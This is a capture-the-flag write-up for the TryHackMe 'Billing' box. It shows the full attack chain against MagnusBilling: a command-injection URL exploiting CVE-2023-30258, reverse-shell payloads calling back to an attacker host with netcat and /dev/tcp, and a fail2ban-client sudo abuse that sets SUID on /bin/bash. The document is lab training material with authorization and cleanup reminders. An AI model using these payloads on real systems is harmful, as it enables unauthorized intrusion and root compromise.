Billing (easy) | TryHackMe
TL;DR
A web service running MagnusBilling was found via an nmap scan. A public unauthenticated RCE (CVE-2023-30258) allowed command execution through a vulnerable endpoint, which led to a reverse shell as user asterisk. sudo -l showed the ability to run /usr/bin/fail2ban-client as root. A known technique abusing that binary allowed escalating to root and reading the flags.
What you need before starting
- A Kali (or other) attacker machine with
nmap,nc(netcat), andpython3available. - Permission to test the target (this is a TryHackMe box — you are authorized to test it).
- Basic familiarity with the shell and HTTP requests.
Initial port scan
I started with a full port scan (service detection + default scripts) — this helps find services and possible web endpoints.
1
sudo nmap -sCV 10.10.120.15 --min-rate 1000 -oN scan
-sCruns default NSE scripts-sVattempts to determine service/version--min-rate 1000speeds the scan by sending at least 1000 packets/second-oN scanwrites the output to a file namedscan
The scan showed three open ports — one of those ports was 80 (HTTP) so I visited it.
Finding the web application
Browsing to the web server redirected me to an /mbilling path and showed a login page.
Inspecting the page source revealed the site was running MagnusBilling.
MagnusBilling is a real billing/telecom application — because it has had vulnerabilities in the past, seeing it in the source is a strong signal to search for known CVEs.
Trying default creds (quick check)
I tried common default credentials just in case :
1
2
username: root
password: magnus
This did not work here, so I moved on to further recon.
Recon / vulnerability lookup
I searched for known vulnerabilities affecting MagnusBilling and found CVE-2023-30258, an unauthenticated remote code execution affecting MagnusBilling 6.x and 7.x.
Because I couldn’t easily identify the exact application version from the web UI, I decided to quickly test for the vulnerability with a PoC (proof-of-concept) that triggers an observable side-effect.
Important: Only use PoCs on systems you are authorized to test.
The quick PoC (behavior check)
The POC used a specially crafted URL that included a shell command. The PoC used in this box was:
1
http://server_ip/lib/icepay/icepay.php?democ=;sleep+5;
Explanation:
democis a parameter likely processed by the vulnerable script.- The
;sleep+5;injects a shellsleep 5command — if the server is vulnerable it will execute that command and the response/request will be delayed by 5 seconds.
I tried the PoC and observed the server hang for ~5 seconds — this is a reliable way to confirm RCE without immediately trying full command execution.
Getting a reverse shell
After confirming the vulnerability with sleep, I used a reverse-shell payload to get an interactive shell on the target.
Start a netcat listener on your attacker machine
1
nc -lvnp 4444
-llisten mode-vverbose-nnumeric-only (no DNS)-p 4444port 4444
Trigger the reverse shell from the target
I crafted a URL that calls netcat on the server and connects back to my attacker machine:
1
http://server_ip/mbilling/lib/icepay/icepay.php?democ=;nc+-e+/bin/bash+attacker_ip+4444;
Breakdown of the payload:
nc -e /bin/bash attacker_ip 4444executes/bin/bashand connects its stdin/stdout over TCP to your attacker IP and port.
If
nc -eisn’t available on the target, other methods such asbash -i >& /dev/tcp/attacker_ip/4444 0>&1orpython-based reverse shells can be used.
After firing that payload, the listener picked up a connection and I had a shell as the user asterisk.
Stabilize the shell
The initial shell was a simple network shell. To get an interactive TTY, I ran:
1
python3 -c "import pty; pty.spawn('/bin/bash')"
This gives a much cleaner shell experience.
Looking for privilege escalation vectors
After getting a shell, the next step is to enumerate the system for weakness. A quick and important check is sudo -l to see what the current user can run as root.
1
sudo -l
The output showed the asterisk user can run /usr/bin/fail2ban-client as root.
Note: always check sudo -l early — it can present easy privilege escalation paths.
Abusing fail2ban-client for local privilege escalation
During recon I found a write-up describing how fail2ban-client can be abused when it is allowed to run as root. The technique used here is from a public report (PacketStorm) describing this misuse.
The idea is to instruct fail2ban-client to execute commands (actions) as the root user by adding a custom action that runs arbitrary commands. The sequence used in this box was:
1
2
3
4
5
sudo /usr/bin/fail2ban-client set sshd addaction rootuser
sudo /usr/bin/fail2ban-client set sshd action rootuser actionban "chmod +s /bin/bash"
sudo /usr/bin/fail2ban-client set sshd banip 1.1.2.2
ls -la /bin/bash
/bin/bash -p
What each line does (explanation):
set sshd addaction rootuser— adds a new action namedrootuserto thesshdjail configuration in fail2ban.set sshd action rootuser actionban "chmod +s /bin/bash"— sets theactionbanfor this action to runchmod +s /bin/bash(this sets the SUID bit on/bin/bash).set sshd banip 1.1.2.2— triggers the ban action (using a dummy IP) which executes the configured action (thechmod +s /bin/bash).ls -la /bin/bash— confirm SUID bit is set (look for-rwsr-xr-xor ansin the owner execute bit)./bin/bash -p— run the SUID bash with the-pflag to preserve privileges — this gives a root shell.
After this sequence I obtained a root shell and confirmed root via the normal means (uid 0 and presence of root prompt).
Flags
- User flag (found in
magnususer’s home directory):
- Root flag (found in
/root):
Cleanup & Responsible Disclosure
This was an authorized TryHackMe box, but in a real-world environment you should:
- Avoid leaving persistent backdoors or SUID binaries modified.
- Revert any changes you made during testing (e.g., remove the SUID bit on
/bin/bashif you set it). - Report discovered vulnerabilities to the application maintainers or follow a responsible disclosure process.
Lessons learned
- Start with reconnaissance. Port scans and web browsing often reveal the technology stack quickly.
- Search for CVEs. If you can identify an app (like MagnusBilling), search for public vulnerabilities before trying complex exploitation.
- Use safe PoCs first. A
sleepPoC confirms RCE without doing destructive work. - Stabilize shells. Getting a proper TTY makes enumeration and exploitation easier.
- Check
sudo -learly. Misconfiguredsudorights are low-effort privilege escalations. - Understand the tools you run.
fail2ban-clientis intended to ban IPs — when misused by someone permitted to run it as root it can run arbitrary actions.
References
- CVE: CVE-2023-30258 (MagnusBilling RCE PoC)
- PoC used in this writeup:
https://github.com/MarkLee131/awesome-web-pocs/blob/main/CVE-2023-30258.md - Local escalation write-up used to abuse
fail2ban-client:https://vulners.com/packetstorm/PACKETSTORM:189989.
Final notes
This box is a good example of a full attack chain: discovery → confirm RCE → get a shell → enumerate → escalate. Remember to practice ethically and always have authorization for any real network or host you test.







